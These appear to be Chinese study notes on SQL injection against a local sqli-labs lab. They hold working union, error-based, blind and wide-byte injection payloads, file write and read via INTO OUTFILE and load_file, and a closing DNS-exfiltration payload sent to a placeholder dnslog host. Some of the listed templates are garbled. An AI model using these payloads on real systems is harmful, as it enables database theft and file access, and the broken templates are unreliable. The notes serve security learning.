WARNING:
前端构造的SQL语句片段拼接到后台SQL语句中,后台缺乏正确识别和过滤,造成与其外的数据库查询结果。
按照后台处理前端提交参数的类型来分,分两类:数字型注入和字符型注入。
按照请求方式分:GET、POST
按照其他分类方法,还有一些常见数据库注入类型:报错注入、盲注、延时注入、宽字节注入、二次注入、堆叠注入。
确认是否是动态网站
找到可能与后台数据库产生交互的位置,测试是否是注入点。
联合查询>报错>布尔盲注>延时盲注
宽字节注入、二次注入(代码审计)
# 单行,从‘#’字符从行尾
--空格 单行,从‘-- ’序列到行尾
/* 允许注释跨越多行 */
substr(var1, var2, var3)
功能:从字符串里截取其中一段字符(串)
ascii(var)
功能:取var字符的ascii码(十进制)
user()
取得 当前登陆的用户,相当于问 MySQL whoami 的意思。
if(var1,var2,var3)
var1:条件
var2:条件为真时返回的值
var3:条件为假时返回的值
sleep(var)
暂停执行var秒,var可以用小数
update user set name='xiaoming', passwd='123456' where id=2;
update 表名 set 列名1=“值1”, 列名2=“值2” where 条件语句;
目标
了解get请求后到底是编码还是解码,要传送目标字符串到后端,到底该先编码还是解码然后输入到地址栏中。
原理
get请求会对URL编码的字符进行自动解码传送到后端
例子
%23:#
+:空格
%2B:+
union > 报错 > 布尔盲注 > 延时盲注
判断是否动态网站
找注入点
判断数字型、字符型
如果是字符型,则需要判断闭合符
如果尝试作为闭合符的字符并非是闭合符,那么它会被当成普通字符处理,不会报错(报错不等同于查询不出来);
如果尝试作为闭合符的字符是闭合符中的一个,那么会报错;
尝试多个输入点进行判断,尤其是要发掘新功能的输入点。
猜测后台SQL语句
select 1,u,p from t_users where id = '1' limit 0, 1;
二分法
select u,p from t_users where id = '1' order by 10%23' limit 0, 1;
例子:union select 1,2,3%23……
确定一个显示位进行查询
查库名
access数据库管理系统是没有库的,不用做一步。
union select 1,2,group_concat(table_name), 4, 5 from information_schema.tables where table_schema = 'double_fish';--+
注意: information_schema库是特殊库,是一个在mysql5.0后才有的系统库。
union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema = 'double_fish' and table_name = 't_admin';--+
union select 1,2,group_concat(concat_ws(",", "
", id,username,password)) from users;--+
查找库名、表名、列名应该找对显示位,比如下面这条查记录的语句就不能正常执行
union select 1,2,group_concat(username), group_concat(password),5 from users;--+
掌握查询当前库名的函数database();
掌握判断闭合符的方法;
掌握information_schema库与SQL注入相关的用法;
掌握union查询及其条件;
掌握concat、concat_ws、group_concat的用法;
掌握双引号等特殊字符的查询,要用到转义符\;
理解二分法在联合查询中的作用。
猜测SQL语句;
确定闭合符;
观察特征:有无带出后端查询的内容,有无报错、对比查询成功和查询失败的表现差异(HTTP返回包的差异)
构造查询布尔条件
使用场景:除了对时间函数敏感外,由于后端报错和查询结果不返回到前端,对前端其他任何输入都不返回给前端不同结果。
if(),sleep(),benchmark()
SELECT “123” INTO OUTFILE “c:/123.txt";
SELECT “123abc” INTO DUMPFILE “c:/123.txt”;
注:dumpfile可以处理非可见字符。
要使用联合查询写文件,不能使用and或者or拼接写文件
条件
绝对路径
File_priv
开关需要是打开状态
select file_priv from mysql.user;
secure_file_priv
默认是NULL,可以通过my.conf文件mysqld一栏里进行配置,配置完成后,重启便会生效。
select @@global.secure_file_priv;
select load_file("路径和文件名");
load data infile()
;
load data infile 和 load data local infile ,不受 secure-file-priv 的限制
表单注入和GET注入区别?
特殊字符,如注释符是否需要编码是不同的。
判断是否是POST注入
猜测后台SQL语句
猜测闭合符
猜测列数
找显示位
……
or前面为真,分两种情况:
两种闭合符:单引号和双引号
四种方式:1、单引号;2、双引号;3、单引号后面跟1到多个)圆括号;4、双引号后面跟1到多个)圆括号。
猜测后台SQL语句,select,update
**使用报错注入,后台报错开关是打开的。
薛定谔之报错注入
双(查询)注入,又称floor报错注入
,想要查询select database(),只需要输入后面语句即可在MySQL报错语句中查询出来:
1、union select count(*), concat((payload), floor(rand()*2)) as a from information_schema.tables group by a;
2、and (select 1 from (select count(*),concat((payload), floor(rand(0)*2))x from information_schema.tables group by x)a) --+
count(*)是必须带上的。
限制:
1、输出字符长度限制为?个字符
2、后台返回记录列数至少2列
updatexml报错注入
首先了解下updatexml()函数
updatexml (xml_document, xpath_string, new_value);
第一个参数:xml_document是string格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。
限制1:输出字符长度限制为32个字符
限制2:仅payload返回的不是xml格式,才会生效
用的最多,所以被禁用的也最广。故不推荐此方式
强制性让要读取的数据类型不符合规划。然后让不符合的数据类型报错出来。
MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。
ExtractValue报错注入
模板1:
and extractvalue('anything',concat('/',(Payload)))
不推荐使用。
模板2:
union select 1,(extractvalue(1,concat(0x7e,(payload),0x7e))),3%23
不存在丢失报错成果的情况。
限制:输出字符长度限制为32个字符,还存在丢失报错成果成果的情况,
地址1
http://192.168.68.128/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
地址2
http://192.168.68.128/sqli-labs/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
地址3
http://192.168.68.128/sqli-labs/Less-5/?id=1' and (extractvalue('anything',concat('/',(select version()))))%23
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
SELECT * FROM Websites WHERE name LIKE '%xxx%';
西欧字母符号,通过1个字节来表示。东亚字符通过至少两个字节来表示。GBK编码就是用两个字节来表示中文区字符的一个编码标准。
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE(高字节从81到FE,低字节从40到FE),剔除xx7F码位,共23940个码位。
后台使用GBK编码的时候,存在着看不见的ascii码转换为GBK编码的转换过程,可以使用宽字节注入。
编码转换存在着单字符被合并的情形
反斜杠对应url编码%5c,是单字节的。
在%5c前再加入一个单字节字符%dd(范围可以是81到FE之间),就成了%dd%5c
而当后端使用GBK编码的时候,会将合理的两个单字节ANSCII字符解析成一个双字节的GBK编码字符。
and load_file(concat("\\\\",(select group_concat(table_name SEPARATOR'-') from information_schema.tables where table_schema='security'),".xxx.dnslog.cn\\xsy.txt"))%23